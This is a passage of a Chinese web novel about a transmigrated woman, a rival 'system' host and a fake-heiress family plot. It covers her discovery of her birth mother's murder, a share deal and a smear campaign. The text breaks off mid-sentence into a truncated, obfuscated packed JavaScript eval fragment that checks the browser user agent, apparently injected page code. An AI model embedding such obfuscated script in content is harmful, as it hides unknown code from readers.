她决定了,她要待在周漾身边,堵死南希能趁虚而入的任何缝隙! “我要住回来。”裴苒理所当然的说。 不是暂时的,也不是“陪念念住几天”,而是光明正大地、名正言顺地住下来。 她本来就是她的妻子,念念本来就是她的女儿,她理所应当住进来。 “工作室那边的东西我会搬过来一部分。” 裴苒瞪着周漾,恶狠狠的问:“你有问题吗?” 周漾呆住了,她还以为她哭是不愿意和她住在一起,但原来不是吗? 裴苒愿意搬回来住,周漾自然很高兴,“当然没问题...你想住哪间房,我让王妈给你收拾出来。” 住哪间房? 听周漾的意思,似乎还要和自己分房睡? 裴苒冷笑一声,“不用收拾了,我就住你那间。” 在南希被这个小世界彻底剥离之前,她不会让她有任何机会靠近周漾和念念。 她对她们所作的一切,总有一天她会让她一点一点,全部还回来。 35. 原来习惯也会遗传 从酒店出来,裴苒靠在副驾上,手里还攥着那张老照片。 照片上沈若华站在海棠树下笑,眉眼弯弯,和裴苒本人不说百分之百像,至少也有百分之九十相像。 之前裴苒心里就有所怀疑,现如今更是怀疑更重。 她把照片给周漾看,开玩笑似的问:“你能不能分得清楚我们谁是谁?” 周漾很确定的回答:“能分清。”虽然照片上的人和裴苒很像,但就算再像,人与人之间也总是有区别的。 就算是两张完全相同的脸放在自己面前,周漾也有这个自信,能把真正的裴苒从中区别出来。 大约是看出裴苒心里很乱,周漾特意把车子开得很慢,拐出酒店停车场的时候绕了条安静的远路,让她一个人安静一会。 裴苒把照片翻来覆去的看,表面平静,可内心却早已掀起惊涛骇浪 “你说,两个完全没有血缘关系的人,有可能长得这么像吗。”她问周漾。 周漾把着方向盘,侧头看了她一眼,没有马上回答。 虽然也存在这样一种可能,但显然,还有更大的一种可能。并且这个可能现在正在颠覆裴苒有史以来的认知。 “我不知道。”她诚实的说,也不想在这件事上给出任何有可能会让她伤心的评论。 因为无论是或者不是,裴苒似乎注定都要为这件事伤心。 裴苒还在喃喃自语,心中似乎已经开始偏向了另一种可能性:“上次在沙龙,也有个设计师说我像沈若华,天底下哪有这么巧的事...” 其实经历过攻略者这件事后,裴苒已经知道自己所在的世界不过是更高维度的世界创作出来的一个没什么档次甚至称得上剧情俗套的小世界。 她觉得在这样一个充斥着狗血、误会、白月光、虐恋情深的世界里,出现什么样的剧情都不算过分。 加上现在这个,也不过是多了个‘真假千金’的烂俗套路。 “小七。”她忍不住问它:“你提前知道这件事吗?” 小七简直想痛哭流涕:“小苒,我发誓,我之前真的没有想过还有这种剧情,在我们一开始的攻略任务里,压根就没有赵家什么事啊。” “自从南希擅自修改剧情把赵家也牵扯进来之后,这个小世界为了自行弥补逻辑,就开始自圆其说,胡乱添加这些乱七八糟的元素弥补设定,我真的不知道怎么会这样。” 也就是说,裴苒其实是薛定谔的‘裴苒’。 如果按照原本的剧情走,根本牵扯不到赵家的事,她或许永远只周漾的妻子,是李秀兰和裴建国的女儿。没有任何人知道她另一条暗线的身份,那这条暗线就相当于没有。 但现在,剧情线中无意间牵扯进了一个原本不存在的赵家,世界线开始自行弥补设定,于是裴苒就变成了赵家原配夫人沈若华生的女儿。 裴苒究竟是谁的女儿,或许只取决于剧情如何发展。 裴苒想明白这点后,倒是没有太难过,也不介意和他们玩一玩,顺便再来个为母复仇,打击小三和假千金之类的爽文剧情,反正她和赵婉清也算是‘有旧仇’。 她唯一担心的,就是如何和母亲李秀兰坦白这件事。她怕母亲伤心,更怕她以为自己去了赵家后,就不要现在这个家了。 周漾见裴苒一直没说话,有点担心:“你先不要想太多,或许事情不是你想的那样。如果你想调查清楚,我可以帮你。” “我想先回家。”裴苒说。 她有预感,母亲李秀兰应该知道点什么,上次她和李秀兰提到过一次沈若华,当时母亲的脸色就有些奇怪,像是知道什么真相,但却不敢告诉自己。 “我想去问问清楚。” 周漾没再多问,把方向盘打了个弯,车子重新拐进老城区那条熟悉的巷子。 她把车停在楼下,问裴苒要不要她陪着上去。 裴苒想了想,说:“你在车里等我吧,有些话我妈可能当着你的面不好意思说。” 周漾识趣的点了点头,临走前,她有些担心的抓住裴苒的手,安慰她似的:“不管怎么样,我都一直在你身边。” 裴苒微微一愣,然后笑着俯下身,透过车窗,在她的脸上印下一个轻吻:“知道了。” 时间还不算太晚,李秀兰正好没有睡。 客厅的灯亮着,电视机开着但声音调得很低,她靠在沙发上,手里织着一件永远织不完的毛衣。 听见钥匙转动的声音,她抬起头,看见裴苒推门进来,惊讶的放下手里的毛线团:“你怎么回来了?”还是一个人。 之前裴苒说她和周漾和好了,现在搬回去和周漾还有念念一起住,当时李秀兰和裴建国还很高兴呢,这会见到女儿是一个人回来的,李秀兰下意识就以为两人是不是吵架了。 “周漾欺负你了吗?” 李秀兰脸上的表情活像是只护崽的老母鸡,好像下一秒就要去找周漾算账一般。 裴苒赶紧哭笑不得的拦住她:“妈,你想什么呢,我就是回来看看。” “还有。”她顿了顿,走到目前面前,把那张老照片放在她手上,“今天我陪周漾一起参加晚宴,在晚宴上碰到一个人,她说我长得很像这个人。” 李秀兰看见裴苒递过来的照片,眼神瞬间变得飘闪起来。 裴苒再了解不过母亲的表情,见她这样,便知道她定是知道一些什么,但是没有告诉自己。 “这已经是第二次有人说我们长得像了。” “妈,你是不是知道些什么,能告诉我吗?” 李秀兰死死盯着那张照片,没有说话,但裴苒注意到她的手指在微微发抖。 等她再抬起头看向裴苒,那双苍老的眼睛里已经涌出太多复杂的情绪。有心疼,有愧疚,似乎还有一种真相即将揭晓后的如释重负。 李秀兰伸出手,动作缓慢的把裴苒落在脸颊边的一缕碎发别回耳后,像是在抚摸什么稀世珍宝一般。 “苒苒,妈妈本来打算过段时间再和你好好谈谈这件事的,但没想到你这么聪明,大概已经猜出什么了吧...” 大约是李秀兰的目光太过悲伤,悲伤到裴苒都不忍心再追问下去,她忽然生出一种落荒而逃的冲动,想阻止母亲继续说下去:“妈,如果你不想说,我就不问了。我只是想告诉你,无论发生什么事,你永远是我妈妈。” “这一点,永远不会变。” 李秀兰擦了一下眼角的泪水,眼神却逐渐坚定下来。 如果错过这个机会,她不知道还能不能再鼓起勇气再提这件事,趁着女儿 今天提出来,她也决定要把所有事全盘托出。 她把裴苒拉到沙发上坐下,有些艰难的开口道:“沈若华,是我这辈子最好的朋友。” 说完,她紧紧盯着裴苒的脸看,似乎有些怕后面的话她会接受不了。 “若华跟我从小一起长大,是纺织厂家属院里光屁.股玩到大的交情。” “她啊,打小就长得好看,手也巧,画什么像什么,厂里办黑板报都是她画报头。” “后来,她嫁给赵阔,两个人一起做服装生意,赵氏最早那些衣服的款式全是她画的。” “她怀你那年,赵阔就跟一个叫林佩蓉的女人搞上了,也就是他现在的妻子。” “若华刚出月子就发现公司的账目不对,赵阔和林佩蓉架空了公司的钱想在外面重新弄个子公司,账目被她全部翻了出来。” “那天下午,她给我打了电话,说他们出|轨的证据全都整理好了,明天就去找律师咨询离婚的事情。结果第二天早上,就传出她从赵家别墅的楼梯上摔下来,后脑着地,人没了。” “赵家和警察对外宣称是一场意外,但我不信。” “一个刚给我打完电话,还在期盼未来美好生活的女人,怎么可能突然就出了意外?” 李秀兰的目光中射出怒火和恨意:“一定是他们害死了若华!” 但她没有任何证据,最终这件事情只能被当做是意外处理。 “若华出事后的第二天,赵家的保姆桂姨就抱着你敲响了我家的大门。” “她说若华对她有恩,小小姐不能再留在赵家了,否则林佩蓉下一个要除掉的就是你。” “我跟老裴结婚好几年都没有孩子,我把这件事和他说了后,他也同意我把你留在身边,这就当是我们的亲女儿。” “这些年,桂姨一直待在赵家没走,好不容易取得了林佩蓉的信任,现如今,也是时候该让你知道事情的真相了。” 李秀兰从木箱里拿出那几封信和手稿之后,又从最底下摸出一个牛皮纸信封,封口用火漆封着,上面盖的是赵氏集团的公章。 她把信封放在裴苒手上,“这些,全都是若华生前留给你的。” 裴苒拆开封口,抽出里面那叠文件,纸张已经泛黄了,但字迹清晰,里面是一份股权转让协议,甲方沈若华,乙方裴苒,右下角有沈若华的亲笔签名和手印。 附件里还有一份持股证明,赵氏集团百分之十五的股份,归属人是沈若华。 “若华出事前几天把这些东西交给了桂姨,她当时应该已经感觉到了什么,所以提前做了安排。” “协议上写得清清楚楚,这百分之十五的股份在你成年之后就自动转到你名下,若你不在了,便自动捐赠给慈善机构。” “赵阔这些年压着这些股份没动,就是怕这笔钱会自动捐献给慈善机构。现在你就是若华唯一的法定继承人,谁也赖不掉。” 有这份股权协议在,已经足够裴苒把赵氏集团闹个天翻地覆了。 裴苒低头看着那份协议,沈若华的字迹清秀,有力,收笔的地方有一个小小的回锋。 她以前在设计稿上签自己的名字时,收笔也有同样的习惯。 她第一次神奇的意识到,原来习惯竟然也会遗传。 36. 你想要什么? 裴苒是在两天后接到赵婉清的电话的。 她的动作比所与人都要快,电话里开门见山要约她详谈关于她母亲的事情。 裴苒知道自己现在才是掌握主动权的那一个,因此并不着急很快答应见面:“关于我母亲,你都知道些什么?” “很多。”赵婉清说:“你想知道的所有内容,我都可以告诉你。明天下午三点,老城区那家茶馆见。” 关于赵婉清主动约见这件事,裴苒心里没有太激动。 关于自己和赵家这一部分暗线的剧情,她已经从小七那里得到了答案,和赵婉清见面,不过是求证这部分剧情线的正误。 唯一对此表现出愁眉苦脸的人是周漾。 “我知道我不能阻止你去见她,但明天,我要送你过去。” 赵婉清曾经‘包养’过裴苒,这件事无论是真是假,在周漾心中都是一根刺,尤其是对赵婉清的敌意更是在此刻达到巅峰。 裴苒也知道自己去见赵婉清这一行为对周漾来说,恐怕是极其难过的一件事,因此讨好的吻了吻她的脸。 “我保证,我很快就会出来。” “如果你不放心,你可以躲在对面的咖啡馆里偷偷看我们聊天。” “我才不会偷看。” “我对你,绝对的信任。” 裴苒来到老茶馆,一切还是原来的样子,门口那棵歪脖子槐树掉了一地的叶子,门框上的风铃一旦有客人进出便会响个不停。 她一眼看见坐在靠窗位置的赵婉清,对方穿着一件深灰色大衣,头发随意披散在肩上,没化妆,难言眼底的憔悴之色。 看来这几天,对方过得并不怎么样。 赵婉清的目光扫到裴苒,对她微微点头。 邀约是赵婉清主动要求的,因此裴苒理所当然的认为应该是她有求于她,可对方的态度不疾不徐,倒是让她心中有些没底。 裴苒没有什么谈判的经验,径直在她对面坐下,把包放在旁边的椅子上。 她没碰那杯茶,显然没有寒暄的意思:“你电话里说,有和我母亲有关的事情要告诉我,是什么?” 赵婉清见裴苒不给面子,也不生气,自己端起自己那杯茶浅浅喝了一口。 “你母亲的死不是意外,你心里应该清楚吧?” 清楚归清楚,但苦于没有证据,想把这些杀人凶手绳之以法是做不到的。 赵婉清抬起眼看着裴苒,那双眼睛里没有同情,也没有难过,反而闪着一种算计的精光。 “你的母亲沈若华是被林佩蓉推下阁楼的,赵阔当时就在旁边,他不仅没有阻止,事后还帮忙做了伪证。” “当时家里的保安队长被买通了,现场也被清理过,因为没有确凿的证据,也没有人证,所以这件事当时被当成是意外处理了。” 这些都是裴苒已经知道的真相,她更想知道赵婉清能给自己带来什么。 赵婉清不慌不忙的喝了口茶,说出的话却犹如毒舌一般:“哦,当时,我也在场。” “并且我还录下了他们作案的全过程。” 裴苒震惊的看着赵婉清。 “你明明有证据,却眼睁睁的看着她被害死...” 裴苒对沈若华的感情说不上多深,毕竟从小将她养到大的人是李秀兰裴建国夫妇,在她心里,一个已经去世的薛定谔的‘母亲’,并不能取代这两人在她心里的地位。 她震惊的是,赵婉清那时候才多大?又是以一种怎样强大的心理素质将所有的作案过程全部录下,然后又当做无事发生。 赵婉清似乎明白裴苒的想法,但她表现的比裴苒更疑惑:“那时候我和他们才是一伙的,为什么要帮你的母亲?” 她从来不是什么好人。 似乎想到什么有趣的事情,赵婉清突然笑了一声:“如果你认为我这次来找你是因为良心发现,想要帮你为你和你过世的母亲翻供,那恐怕要让你失望了。” “我只是来和你谈一笔生意。” 裴苒看着这个在商场上杀伐果断的女人,此刻手指在杯沿上轻轻转着,表情戏谑的看着自己,像是在嘲笑她的自作多情。 赵婉清从手包里拿出一份文件放在桌上,推过来。 裴苒低头看了一眼,是赵氏集团的股权结构分析报告,上面密密麻麻标着赵阔、林佩蓉、以及林佩蓉名下几个代持人的持股比例。 最后一页用荧光笔圈出了两行小字:沈若华,持股15%(冻结中),赵阔与林佩蓉共同持股,合计43%。 “你是沈若华唯一的法定继承人,协议上写得很清楚,如果你不在了,这百分之十五会自动捐赠给慈善机构,所以赵阔不敢让别人知道你死了。” 赵婉清忽然狡黠的对她笑了一下:“当然了,我也不敢让你死。” 裴苒忽然明白过来,这些年对方所谓的‘包养’,恐怕只是借口监视自己的一种手段罢了。 赵婉清停了一下,手指在桌面上轻轻敲了敲,“不过,光有这百分之十五还不够。你拿不到控股权,进不了董事会,还是动不了林佩蓉。” 裴苒很奇怪:“你为什么要帮我?你不是和他们一伙的吗?” 赵婉清嘲讽的笑了一声:“只有永远的利益,没有永远的伙伴。” “你大概不知道吧,我根本不是赵阔亲生的。” “这些年,林佩蓉对外声称我是赵家大小姐,实际上赵家的公司我连1%的股份都不占,他们现在有了亲儿子,你以为后面还会有我的份吗?” “所以我想和你做个交易。” “我可以帮你进入赵氏,也可以帮你联系当初和沈若华亲近的老部下,这些人早就对林佩蓉不满了,只缺一个牵头的人。” “我还知道林佩蓉的软肋在哪里,以及当年他们做假账的关键性证据。” 裴苒:“你有这么多证据,你自己完全可以扳倒赵家,还要我做什么?” 赵婉清反问:“扳倒?我的手里没有任何股份,和他们鱼死网破,然后让其他人坐收渔翁之利吗?” “你想要什么?”裴苒问。 “事成之后,你拿回股权,入主赵氏,我要其中百分之十的股份。” 裴苒目前就 只有百分之十五的股份,而赵婉清张口就是百分之十,简直就是狮子大开口。 赵婉清的声音很稳,像是在谈判桌上做一桩再普通不过的买卖,“我用这么多证据来换赵氏百分之十的股份,还帮你报了仇,你不该高兴吗?” 裴苒很清楚,赵婉清和她谈的,确实是一场非常划算的买卖,但和这样一个连亲生母亲都能弃之如履的女人,无异于是与虎谋皮。 “我要想想。” 茶馆里安静了好一会儿,老式座钟敲了四下,已经是下午五点。窗外的槐树影子被拉得很长,落在茶桌上,把那份股权报告切成两半。 和赵婉清的交易,裴苒已经心中有数,但她心里一直还有一个疑惑:“我有个问题想问你。” 赵婉清似笑非笑的问:“什么?” “我们第一次见面,你在酒吧请我喝酒,也是早有预谋的吗。” 赵婉清惊讶的抬起头,大概没想到裴苒竟然想问的是这个。 “你确实和你的母亲长得很像,像到我第一眼就认出了你,并且知道你将来一定能为我所用。” 她的意思已经很明显,那场蓄意的相遇,本就是精心策划的阴谋。 “你应该感到庆幸,是我先发现了你,而不是别的什么人。” “我和你保证,如果是赵阔或者林佩蓉先看见了你,你恐怕今天都没有办法完好无损的站在我面前。” “那后来你‘包养’我...”裴苒这两个字说的艰难,甚至可以称得上是难堪。 她几乎没有这段时期的记忆,心里始终对周漾怀揣着一种愧疚。 她不太确定当时的‘自己’有没有在剧情的控制下,做出一些‘背叛’周漾的事情。如今也是想问清楚一切,了却一桩心事。 没想到裴苒这可爱的反应惹得赵婉清哈哈大笑起来:“亲爱的,你真的很可爱。” “我承认有些时候看见你这张漂亮的脸蛋我几乎快要爱上你了。” 赵婉清摊了摊手:“但我不习惯和交易对象产生感情。” “如果我真的爱上你,那事情可真是要糟糕透了,我大概率会舍不得利用你的。” “再说了,周漾这个睚眦必报的女人要是知道我和你有染,恐怕心里也会想着弄死我吧。” “所以这次你回去,能拜托你一件事吗?” “麻烦你告诉周漾,我和你之间什么都没有发生过,让她不要再针对我经营的子公司了。” “虽然这都是赵家的产业,但如果业绩太差,赵阔和林佩蓉也是会对我有意见的。” “目前,我还想扮演一个有用的‘乖女儿’呢。” 裴苒第一次从赵婉清的口中得知这一切,没想到周漾竟然还为了自己针对过赵婉清的子公司。 窃喜和活该两种情绪在她心中翻涌。 这些事,周漾从来没有告诉过她,她还以为对方根本不介意自己和赵婉清的过去,原来只是装得风轻云淡啊。 赵婉清:“我的建议,你好好考虑一下,随时联系我。” 她非常有自信,裴苒一定会答应她。 38. 该小世界完结章(必看) 发布会在一片混乱中草草结束,原定的新品展示环节被压缩到不足十分钟,记者们追着赵阔和裴苒一路拍到门口。 赵阔全程维持着那副“慈父”的面孔,时不时侧头对裴苒说几句关心的话,镜头面前保持着刻意的伪装。 裴苒也全程保持微笑,两人俨然是一副‘慈父孝女’的模样。 散场之后,赵婉清从角落里站起来,响起一串掌声。 “真是精彩又感人的认亲仪式啊。” 她假模假样的流出几滴眼泪,笑得狡猾:“我几乎都要被感动了呢。” 虽然赵阔当着众人的面认下了她,但裴苒很清楚,对方还没有摸清他的底牌,因此才如此谨慎。 赵婉清从包里拿出墨镜戴上,“恭喜你站稳了第一步,后面他一定会想调查你手里的证据到底有多少。” 裴苒手里的证据能有多少,取决于赵婉清肯给她多少。 所有人都以为裴苒是掌握主动权的那一个,殊不知真正的幕后推手另有其人。 裴苒对这一切豪门争斗感到厌倦,她很想快点结束这一切,打倒南希,回到周漾的身边。 发布会结束的第三天,赵家老宅的书房里,赵阔坐在皮椅上,面前摊着裴苒那份股权协议的复印件。 林佩蓉披着睡袍站在窗边,手指夹着一支细长的女士烟,烟雾在台灯的光晕里缓慢盘旋。 “她手里到底还有多少证据。”林佩蓉的声音哑得不像话,发布会那天她强撑了一整场的体面,回来之后就把自己关在卧室里一整天。 “要是处理不好这个贱人,我们两个全都要进去。” 赵阔没有说话。他盯着协议上沈若华的签名,那个清秀有力的字迹像一根刺,扎在他眼底二十多年,如今又随着女儿的出现,如同回旋镖一般重新扎进他的血肉。 “当年就该把她也一并处理掉。”林佩蓉把烟头按进烟灰缸,力道大得烟灰溅了一桌面,“我早就说,斩草不除根,祸患无穷...” “够了,别说了!”赵阔打断她喋喋不休的抱怨:“发布会那天我已经当众认了她,现在再动她,就是此地无银三百两!” 他的一时心软酿成今日大祸,此时,便不必再心软了。 赵阔缓缓开口,“你不是说之前有个叫南希的人联系过你,她手里有赵婉清和裴苒当年的亲密照片吗?你联系一下她,让她准备吧。” 林佩蓉转过身,不可置信的看着他:“你想把婉清推出去?” 赵婉清不是赵阔的亲生女儿,但到底还是林佩蓉亲生的,要把亲生女儿推出去,她多少有些不情愿。 赵阔冷笑一声:“你以为你养的好女儿是什么好东西吗?” “裴苒能这么快得到公司这么多骨干的支持,少不了她在里面牵线搭桥。” 他还以为这个便宜女儿没有野心,多年来养在身边也不过是为了作为联姻的工具。没想到对方野心大的很,竟然伙同裴苒一起准备吃掉自己的公司。 姐妹乱.伦,真假千金。 这种脏水泼上去,她们两个都洗不干净。一旦背上这种丑闻,董事会那帮人不会让裴苒进门。 林佩蓉犹豫片刻,最终还是拿起手机,给南希打去了电话。 电话响了,南希似乎并不意外对方会来找自己。毕竟她筹划这一切也已经很久了。 听筒里传来林佩蓉的声音,对方开门见山道:“南希小姐,听说你手里有些东西,我想我们可以合作。” 南希手里有裴苒和赵婉清的亲密照片,她从很早之前就保留了这些内容,准备为后面彻底扳倒裴苒做准备。 现如今,有赵氏集团做垫背的,正适合帮她放出这些照片,没有人会怀疑到自己头上来。 她在周漾眼里,一如既往是那个在她困难时对她伸出援手的白月光。至于裴苒嘛.... 她就不信,周漾能在看到那些照片,明知道对方是个水性杨花的女人之后,还一如既往的爱她,相信她。 到那时候,周漾对裴苒的好感度彻底跌至谷底,就是自己上位的最佳机会。 三天后,一篇署名报道在本地几家媒体同时发布,标题赫然写着:“赵氏集团迎回私生女,背后竟牵出姐妹包养丑闻”。 配图是三年前两人同进出一家餐厅的旧照,以及裴苒挽着赵婉清手臂参加晚宴的画面,甚至还有错位的‘亲吻照’。 文章从裴苒以“沈若华女儿”身份空降赵氏写起,把她和赵婉清当年那几年的关系写得极其不堪。 ‘据知情.人士透露,某裴姓女子此前曾与继姐赵婉清有过长达三年的不正当包养关系,如今又搭上前妻周漾,三者之间关系错综复杂。’ ‘更有内部消息称,赵婉清之所以协助裴苒认祖归宗,实为‘姐妹情深’,二人联手欲争夺赵氏控股权,周漾惨戴绿帽...’ 这些假新闻都刻意模糊了时间线,甚至模糊裴苒和赵婉清之间的血缘关系,恶意引导舆论将她们联想到不论关系上。 ‘一边是血脉相连的继姐,一边是曾经抛弃后又复合的豪门前妻,这位新晋千金,究竟是要认祖归宗,还是要上演一出豪门伦理大戏?’ 评论区以惊人的速度在发酵,热搜词条“赵氏姐妹包养丑闻”正以不可阻挡的速度往上升。 裴苒是在工作室看到这篇文章的,宋青青举着手机冲进来,气得手指都在发抖:“他们疯了吧!姐妹乱|伦这种标题也编得出来?那赵婉清根本就不是赵阔亲生的,你们算哪门子姐妹!” “他们就是要这个效果。” 裴苒把手机放在桌上,声音很平静:“真假千金,豪门恩怨,姐妹包|养,这几个词叠在一起,就是爆点。” 路人才不会管真相到底是什么,他们只想知道自己想知道的内容。林佩蓉这一步棋走得够狠。她把赵婉清也推出来当靶子,说明已经不在乎这个女儿了。 既然如此,赵婉清也不再手软,当即放出赵阔和林佩蓉当年害死沈若华的证据,直接把这两位法制咖送去了警局。 裴苒作为目前公司持股最多的股东,在众人议论纷纷下召开了一场澄清发布会。 关于那些‘亲密照’,赵婉清早有准备。 第一张明显的错位吻,她放出另一个角度拍摄的正常原图,证明所谓的“亲吻”只是角度错位。 第二张是“赵婉清出入裴苒私人住所”的偷拍图。赵婉清立刻放出房产证明和租赁合同,这是她名下公司租赁的员工公寓,用于安置临时借调的设计团队,裴苒住的是统一安排的宿舍,旁边房间还有其他设计师,根本不涉及‘死人住所’。 第三张是两人这三年来的资金往来记录,赵婉清就没给过裴苒钱,更别提‘包养’这种无稽之谈了。 最后,她放出自己和赵阔的亲子鉴定报告,证明她与赵阔不存在血缘关系,和裴苒更没有任何血缘关系,所谓的‘姐妹乱|搞’根本就是无稽之谈。 这场舆论风暴被两人共同化解,可对这两人提供照片的人还没有被揪出来。 小七:“小苒,是南希给他们提供的照片,她早就在为今天做准备了,想要让周漾对你的好感度彻底跌落谷底。” 只不过现在看来,她的如意算盘要落空了。 门被推开,杨梅手里拿着一个牛皮纸文件袋,表情是从未有过的严肃:“周总,您让我查的东西,查到了。” 她把文件袋放在茶几上,打开,里面是一叠照片和几页通话记录。 “那些照片的拍摄者找到了,是南希小姐雇佣的私人侦探。付款记录在这里。还有她 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在她的预料里,周漾应该对裴苒好感度降低才对,可为什么会对自己降低? “系统,系统!”她疯狂的呼喊系统:“是不是评判出错了?应该是裴苒任务失败才对,怎么回事我任务失败了?” 她的手指开始发抖,不是因为愤怒,而是因为恐惧。这一次任务失败,她就要回炉重造了! 小七冷酷的声音响起:“宿主南希,攻略目标周漾好感度已降至十五,判定攻略任务永久失败。强制剥离程序启动。倒计时:三分钟。” 南希猛地站起来,手机从手里滑落摔在地板上,她对着虚空中那个看不见的系统面板嘶吼:“不可能!周漾对我的好感度是80!是80!她应该爱我才对!” 可任凭她怎么呼喊,都无济于事。 南希的身体开始发出刺眼的光,从指尖开始蔓延的白光,像无数根针同时扎进皮肤,把她从这个世界的每一个角落往外拽。 她拼命挣扎,手指抠住沙发扶手,指甲断裂,血渗进布艺的纹理里。她的双.腿已经开始透明,白色的光吞噬了她的脚踝,并一寸寸向上蔓延。 她想起了很多东西。 想起自己第一次进入这个小世界时意气风发的样子,想起自己刚刚夺舍裴苒时,周漾看她的温柔眼神。 为什么,明明都是一模一样的脸,为什么会攻略失败? 为什么,明明这次她已经修改了剧情,周漾还是要爱裴苒? 白光蔓延到了胸口的时候,她忽然笑了,笑得癫狂。她不甘心,真的不甘心! “我不会让你们幸福的在一起的。”她疯狂大叫起来,眼中涌现出一种要和她们同归于尽的决绝。 她的声音在空荡荡的公寓里响起,沙哑而凄厉:“我要修改剧情,我要抹除这个世界裴苒全部的成长经历。” “从今天起,她是赵苒,是赵家唯一的真千金,从小娇生惯养长大的京圈名媛。” “修改周漾的记忆,让她忘记裴苒,只记得赵家有一个骄纵任性的大小姐,是她最讨厌的女人的类型。” 南希喘着气,白光已经漫过了她的喉咙,她的声音变得断断续续,但每个字都像是从牙缝里挤出来的诅咒,“我要她们彼此厌恶,成为怨侣,永远不可能相爱。” 主系统的声音依旧冰冷,但比刚才多了一丝警告的意味:“你已经没有积分了,如果强行修改会消耗你全部的生命值。你确认要用自己剩余的生命值修改这一切?” “我确认。” 白光炸开,吞没了整个公寓,也吞没了她。 这个世界再也没有裴苒,只有一个娇蛮任性的大小姐赵苒。 39. 第二卷 “你下午才能回来吗?” “那我让家里的佣人给你准备晚饭。” “凌晨才回?好吧...” 裴苒低落的声音回荡在整个大厅,几个佣人战战兢兢的守在一边,随时等待着听从这位大小姐的吩咐。 如果裴苒心情好一些,大概率会给她们一个好脸色,但假如心情不好.... 众人已经从电话里听出端倪,那就是,赵婉清今晚不回来陪她用晚饭了。 所以裴苒大概率心情不会好到哪里去。 赵婉清。 从法律意义上来讲,她是裴苒的继姐。 但哪怕是家里最粗鄙的佣人都知道,除了假借主家的姓氏以外,这位‘赵家小姐’从头到尾,身上就没有流淌赵家一丝一毫的血脉。 她是赵阔新娶的夫人从外面带回来的女儿,并不是他的亲骨肉。但因为能力出众再加上颇为讨赵阔欢心,因此被破例冠以赵姓。 对于一个和赵家毫无血缘关系的外人来说,能得到主家的冠姓权,也算是一种特殊的恩赐。 比起那些领工资吃饭的仆人,赵婉清大约更像是...家奴。 与之相反的是,赵家真正的大小姐裴苒并不姓赵,而是随了母姓,姓裴。 赵阔曾经多次想把她的名字改回来,但都被裴苒以‘习惯’为由拒绝了。 她喜欢母亲的姓,也喜欢裴苒这个名字。 正因为母亲已经过世,她才更不能将姓改回赵,这对她而言像是一种背叛和不忠。 她害怕九泉之下的母亲知道后会心寒。 赵阔提了几次之后,见她坚持不肯改姓,便也随着她去。谁让裴苒是这个家里最受宠爱的小公主呢? 没有人能够拒绝公主的要求,哪怕是国王。 但他只提了一个要求,就是在有外人在场,或是参加重要集会或晚宴的时候,要以‘赵苒’的身份出场,否则会有流言蜚语。 裴苒答应了。 她觉得姓什么根本不重要。她甚至很天真的告诉父亲:“反正姐姐已经跟你姓赵了,有什么关系?” 赵阔当时的表情,裴苒不太记得了。但大约有点嘲讽。 那时起,她便隐隐约约察觉到赵婉清在家中的日子似乎并不如她想象中那般好过。 她明明姓赵,表面来看也是赵家的小姐,可无论是赵家人,还是受赵家雇佣的仆人,都没有把她当成是真正的小姐来对待。 察觉到这一点后的裴苒当即便在心里下定决心,无论别人如何对待赵婉清,她都一定要重要的对待她。 她很喜欢这个姐姐。 有时候,她甚至想,她如果能不是自己的继姐就好了。 或许,裴苒始终不肯将姓改回赵,也有这一部分原因在。 冠以相同的姓氏让她感觉到一种隐隐的压力,哪怕她们并非亲姐妹。 如今这样却是正好。 她可以毫无保留,肆无忌惮,故作天真的对她好,将心里那些阴暗的、无法见光的情愫隐藏在‘姐妹之情’下。 虽然赵婉清已经提前在电话里告知裴苒自己晚上不会回来吃饭。 但当她回来的时候,还是看见了满桌热气腾腾的饭菜,以及等待在桌前,几乎困的快要睡着的裴苒。 “啊...” 看见赵婉清站在门口,裴苒摇摇晃晃的从板凳上站起来,要上去迎接她。 赵婉清把手里的公文包随手丢给一个佣人,然后眼疾手快的扶住裴苒摇摇欲坠的身体。 有了支点,裴苒觉得自己更困了,整个脑袋都靠在她的肩膀上。 赵婉清一向好脾气,但今天却难得对家里的佣人发了大火:“已经几点了,为什么还不让小小姐睡觉!” 她早已告诉过裴苒自己从国外赶飞机回来,今天要凌晨才能回来,让她不要等了。 佣人们面面相觑,全都露出一副要哭不哭的表情来。 “婉清小姐,大小姐的脾气您也是知道的,她铁了心要等您,我们也拦不住啊....” 不仅拦不住,可能还要被责骂。 如果说在这个家里谁能治得住裴苒,只有一个人。那就是此时此刻,被裴苒紧紧依偎在身边的赵婉清。 此时此刻,裴苒也不困了。 所有的困意和焦躁在她见到赵婉清的那一刻奇迹般的消失了。 她之所以现在还在装困,是因为想借机让自己的头在赵婉清的肩膀上多待一会。 自从赵婉清毕业后开始接触家里的生意,她们之间独处的时间就变得少了很多。 她频繁的飞往国外,又频繁的来往于公司之间。 以至于裴苒更多见到的,是她离开的背影。 因此,她格外珍惜每一个能够和她见面的机会。 “好了,你不要再责骂这些佣人了,她们又做不了主。” 装够了,裴苒终于舍得把自己的脑袋从对方肩头拿开。 “你饿了吗?”她殷勤的为她夹菜。 赵婉清随意扫了眼餐桌上的饭菜,发现都是裴苒自己爱吃的,顿时没了胃口。 她自嘲的勾了勾嘴角。 这位小甜心虽然喜欢满世界的追在她身后跑,装出一副和她天下第一好的模样,实际却对她的喜好一无所知。 虽然她也刻意,不在她面前表现出自己的喜好。 “我不饿。”她淡淡的解释:“飞机上有工作餐,你忘记我在电话里告诉过你,我已经吃过了吗?” 裴苒当然记得,但赵婉清吃没吃过对她而言也没那么重要。 “你尝一尝嘛...”她又开始撒娇了。 每次一旦裴苒开始撒娇,就没有人能够抗拒她的要求。 或者说,她是一个不达目的决不罢休的恶魔。 如果谁胆敢拒绝她的要求或者好意,她一定会无止境的折磨对方,直到‘逼迫’对方‘自愿’答应她为止。 赵婉清早知道她的脾气,因此也没指望自己能够拒绝的掉。 她勉强张嘴尝了几口,又半夸半哄的让她早点去睡觉。 “你知道现在是几点了吗?” 裴苒看了眼墙上正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c 